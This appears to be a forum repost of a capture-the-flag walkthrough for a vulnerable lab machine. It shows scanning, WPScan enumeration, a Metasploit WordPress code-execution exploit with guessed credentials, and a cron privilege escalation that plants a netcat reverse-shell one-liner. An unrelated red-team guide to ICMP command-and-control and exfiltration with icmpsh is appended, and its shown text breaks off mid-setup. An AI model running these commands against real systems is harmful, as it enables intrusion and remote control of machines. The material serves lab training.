05-14-2020, 06:00 PM
| 0 | 0 | ||
[To see content please register here]
.Security Level: Intermediate
Penetrating Methodology:
- Scanning
- Netdiscover
- NMAP
- Enumeration
- Dirbuster
- WPScan
- Exploitation
- Metasploit
- Privilege Escalation
- Exploiting Crontab
Scanning
Let’s start of by scanning the network and identifying the host IP address. We can identify our host IP as 192.168.1.104 by using Netdiscover.
netdiscover
1
netdiscover
![[Image: 1.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-ZWiurI1rJMM/XT3TNDlMdwI/AAAAAAAAfp0/LXQ62jMO5tQTi23tuBHZy1Fbyi5TIjKVQCLcBGAs/s1600/1.png?w=687&ssl=1)
We used Nmap for port enumeration and found that only port 8080 is open on which a squid proxy is running, which means our target machine is a proxy server.
nmap –A 192.168.1.104
1
nmap –A 192.168.1.104
![[Image: 2.1.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-zxD4HNaR3BE/XT3TQFhyvNI/AAAAAAAAfqU/RPZcPzlMbSsrb6XyVvmobIqmS9tcIGpYgCLcBGAs/s1600/2.1.png?w=687&ssl=1)
Enumeration
Since the target machine was behind the proxy so we may not get desired results from any direct enumeration technique. We tried using dirb with a proxy for directory brute forcing but didn’t get anything. Then we tried Dirbuster with proxy and got one directory named called /server-status.
![[Image: 2.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-UGgXd5O15M4/XT3TQR5469I/AAAAAAAAfqY/SMnFvXA_OoQXsVjXHhDL-oapUPC--cwCwCLcBGAs/s1600/2.png?w=687&ssl=1)
To set up a proxy in Dirbuster go to Advance options then click on Http Options and check the Run through a Proxy box and enter the host IP and port number.
![[Image: 3.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-ZpdMF3-mQ-g/XT3TQWiHL0I/AAAAAAAAfqc/xD4k_UB6mQgW7UTV00ubeidEt94XgGDrACLcBGAs/s1600/3.png?w=687&ssl=1)
we got http 200 Ok response for /server-status from its result.
![[Image: 4.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-fSahlZQd7uQ/XT3TQwGkyJI/AAAAAAAAfqg/IVPVcfIJxtw0ms3TDhCyYjaXto0d3u8OACLcBGAs/s1600/4.png?w=687&ssl=1)
So to access the URL 127.0.0.1/server-status in the browser we first set up our proxy using the foxyproxy or directly in the settings of the browser.
We have done here using the foxyproxy plugin.
![[Image: 5.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-sDbQlVhGkqE/XT3TRC1UviI/AAAAAAAAfqk/MRhUD_5r7CY9n1R-D1DVJQwJW0xc_2u1ACLcBGAs/s1600/5.png?w=687&ssl=1)
Then we accessed the URL and found that there is one more port open on the target machine i.e 1337.
![[Image: 6.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-B2JScISThfg/XT3TRUCQAcI/AAAAAAAAfqo/T4FSKxxbLfkIgYnlYOGzmfoMmHUHoZALQCLcBGAs/s1600/6.png?w=687&ssl=1)
After accessing the URL 127.0.0.1:1337 we couldn’t find anything there.
![[Image: 7.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-jTIyLt9oxI0/XT3TRwecebI/AAAAAAAAfqs/7Qph4idfxnMf_3oyXVRbtRN96LXEH8gRACLcBGAs/s1600/7.png?w=687&ssl=1)
So we again used Dirbuster for brute force and got a directory named /wordpress.
![[Image: 8.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-uarne-RUhSk/XT3TSPNaQpI/AAAAAAAAfqw/VE3F7GVG9h8OGpmgrFzgsQ5_KvZDozoQgCLcBGAs/s1600/8.png?w=687&ssl=1)
This time I found the directory for /wordpress.
![[Image: 9.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-2q-GQQ2mJNA/XT3TSTC4r2I/AAAAAAAAfq0/NYBuO6sHR9wC1mK97uYvcKvoEE_zFoXUgCLcBGAs/s1600/9.png?w=687&ssl=1)
After accessing the URL we got a WordPress site. So we used WPScan with proxy to find any vulnerability on the just found WordPress site.
![[Image: 10.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-ZZnXQVnV2E8/XT3TNCACuRI/AAAAAAAAfp4/uNH0PRg9bnUGn0E3gZq-JLXvlOitqT0KwCLcBGAs/s1600/10.png?w=687&ssl=1)
wpscan --url
[To see content please register here]
--proxy[To see content please register here]
-e u1
wpscan --url
[To see content please register here]
--proxy[To see content please register here]
-e u![[Image: 11.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-t1O4xCUkcPM/XT3TNCaAF1I/AAAAAAAAfpw/icY9PYDS_gI-08bzpWBX7sdyCTY0LJeQACLcBGAs/s1600/11.png?w=687&ssl=1)
In the results of the scan we found that the site has two wp admins root & Jerome.
![[Image: 12.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-oeCyGQfA7Po/XT3TN0IKj_I/AAAAAAAAfp8/BtUqXeHR35YHnFhq-IOj4yZxtU4T6s8XwCLcBGAs/s1600/12.png?w=687&ssl=1)
Also, we got to know that there is a code execution vulnerability present on the website for which the exploit is already present in the Metasploit.
![[Image: 13.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-TnV-DL1wctQ/XT3TOSfPwxI/AAAAAAAAfqE/tq9IewFEb2Qgl84KchSWi-0iv-KyVQ3SACLcBGAs/s1600/13.png?w=687&ssl=1)
Exploitation:
We used the same exploit in msf which was given by our WPScan results.
Since this was an authenticated code execution exploit which means we have to enter the credentials, we put in the jerome jerome as username and password and it came out to be correct and we got a meterpreter shell.
use exploit/multi/http/wp_crop_rce
set rhosts 127.0.0.1
set proxies http:192.168.1.104:8080
set username jerome
set password jerome
set targeturi /wordpress
set rport 1337
set ReverseAllowProxy true
set lhost 192.168.1.105
exploit
1
2
3
4
5
6
7
8
9
10
use exploit/multi/http/wp_crop_rce
set rhosts 127.0.0.1
set proxies http:192.168.1.104:8080
set username jerome
set password jerome
set targeturi /wordpress
set rport 1337
set ReverseAllowProxy true
set lhost 192.168.1.105
exploit
![[Image: 14.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-WtZxWVpYtpo/XT3TOdK9FvI/AAAAAAAAfqA/uYA7GNHl6rMWWXeXPFUDQ6Pn0PkpkKiDgCLcBGAs/s1600/14.png?w=687&ssl=1)
We looked into the /home/Jerome directory and got our first flag.
Now it was time to get to the root shell and get out the final flag. We looked here and there to get something useful and in the process, we checked into the crontab file and found that there is one script simulate.sh scheduled after every reboot.
The simulate.sh file is tasked to run three commands cd, ls and sleep.
cd jerome
cat flag.txt
cat /etc/crontab
cat /usr/share/simulate.sh
1
2
3
4
cd jerome
cat flag.txt
cat /etc/crontab
cat /usr/share/simulate.sh
we found a script “simulate.sh” will run as cronjob on reboot and the script was running “ls” file within /home/jerome and then sleep for 120 s.
![[Image: 15.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-5rdJRGwuryA/XT3TO2rUy1I/AAAAAAAAfqI/sNJNOpeZfSQhAyQoWl52Q7-d0CGD0euxACLcBGAs/s1600/15.png?w=687&ssl=1)
Privilege Escalation:
To elevate to the root shell what we did is we edited the ls file using the echo command in which we have written the netcat export bash shell one-liner which actually exports the bash shell of the victim machine to the listener machine. Then reboot to the VM machine to so that “simulate” script gets execute through cronjob and wait for netcat session.
shell
python3 -c 'import pty; pty.spawn("/bin/bash")'
echo "nc -e /bin/bash 192.168.1.105 1234" >> ls
chmod 777 ls
1
2
3
4
shell
python3 -c 'import pty; pty.spawn("/bin/bash")'
echo "nc -e /bin/bash 192.168.1.105 1234" >> ls
chmod 777 ls
![[Image: 16.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-40Un3RINKOU/XT3TPErKVyI/AAAAAAAAfqM/qSDiH6-GCDkTDX2lwddylDhXncZISQ7KQCLcBGAs/s1600/16.png?w=687&ssl=1)
On our kali, we started the nc listener on the same port and after rebooting the target system we got the root shell and finally the root flag.
nc –lvp 1234
id
cat flag.txt
1
2
3
nc –lvp 1234
id
cat flag.txt
![[Image: 17.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-dKMUh36rMFA/XT3TPR40J_I/AAAAAAAAfqQ/5PQwJNXHuFsDw1-VJkiWoZmdaVyNDAu5wCLcBGAs/s1600/17.png?w=687&ssl=1)
In this article, you will learn about the RED TEAM Operation for data exfiltration via ICMP-C2 and ICMP Tunneling because both approaches are useful in order to circumvent firewall rules because they generate unsound traffic in the network.
Table of Content
Brief Summary on working of ICMP Protocol
Command & Control via ICMP Protocol
- Requirement
- icmpsh: C2-channel & Its Installation
- Run icmpsh as Master
- Run icmpsh as Slave
- Requirement
- Configure ICMP over Server Machine (Target)
- Configure ICMP tunnel over Client Machine (Intruder)
- Connect SSH Over ICMP
The Internet Control Message Protocol (ICMP) is a supporting protocol in the Internet protocol suite. It is used by network devices, including routers, to send error messages and operational information which indicates that a requested service is not available or that a host or router could not be reached.
It is layer 3 i.e. network layer protocol used by the ping command for sending a message through ICMP payload which is encapsulated with IP Header Packet. According to MTU the size of the ICMP packet cannot be greater than 1500 bytes.
ICMP packet at Network layer
IP header
ICMP header
ICMP payload size
MTU (1500)
20 bytes
8 bytes
1472 bytes (maximum)
20 + 8 + 1472 = 1500
A ping command sends an ICMP echo request to the target host. The target host responds with an echo Reply which means the target host is alive.
Read more from
[To see content please register here]
Command & Control via ICMP Protocol
In our many publications, we had discussed over C2-channel who is additionally acknowledged as command & control so you may find out it
[To see content please register here]
. Although you are pleased to learn how to use ICMP protocol as a command & control channel between this thesis.A cyber-war is strolling of Intruder and Security researcher, therefore, we need to hold partial backup plan. As we all know the company has grown to be smarter, they understand such as type concerning attack is being observed after achieving TCP reverse connection of the machine.
Thus we come up with ICMP secret shell which and use icmpsh as command & control tool.
REQUIREMENT
- Attacker Machine or C2-channel:192.168.1.108 (Kali Linux)
- Host machine:192.168.1.106 (Windows 10)
icmpsh is a simple reverse ICMP shell with a win32 slave and a POSIX compatible master in C, Perl or Python. The main advantage over the other similar open-source tools is that it does not require administrative privileges to run onto the target machine.
The tool is clean, easy and portable. The slave (client) runs on the target Windows machine, it is written in C and works on Windows only whereas the master (server) can run on any platform on the attacker machine as it has been implemented in C and Perl by Nico Leidecker and later it also gets ported into Python too.
It is very easy to install and use as c2-channel. Turn the attacker machine for icmpsh and download icmpsh from Github.
git clone
[To see content please register here]
1
git clone
[To see content please register here]













